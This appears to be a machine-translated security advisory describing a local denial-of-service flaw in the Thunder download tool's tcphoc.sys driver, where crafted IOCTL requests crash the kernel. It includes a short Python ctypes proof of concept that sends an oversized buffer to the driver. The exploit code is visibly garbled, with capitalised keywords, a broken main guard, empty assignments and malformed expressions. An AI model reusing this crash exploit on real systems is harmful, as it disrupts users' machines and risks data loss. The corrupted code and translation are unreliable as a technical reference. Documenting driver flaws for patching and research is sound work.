Thunder tcphoc. sys Driver local denial of service vulnerability and repair

Affected Versions:
Thunder vulnerability description:
Thunder is a popular P2P download tool.

The thunder tcphoc. sys driver does not correctly verify the call parameters submitted by the user. Local Users can submit malicious IOCTL requests to cause kernel crash. <* Reference
Http://www.wooyun.org/bug.php? Action = view & id = 314
*>
Test method:

The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk!
#! /Usr/bin/python

From ctypes import *

Kernel32 = windll. kernel32
Psapi = windll. Psapi

If _ name _ = _ main __:
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2

DEVICE_NAME = "\. \ tcphoc"
DwReturn = c_ulong ()
Out_size = 1024
In_size = 1024
In_data =
Out_data =
Driver_handle1 = kernel32.CreateFileA (DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
In_data = 1024 * x80
Dev_ioctl = kernel32.DeviceIoControl (driver_handle1, 0x222000, in_data, 0, out_data, 0, byref (dwReturn), None)

Security suggestion: get official patches in time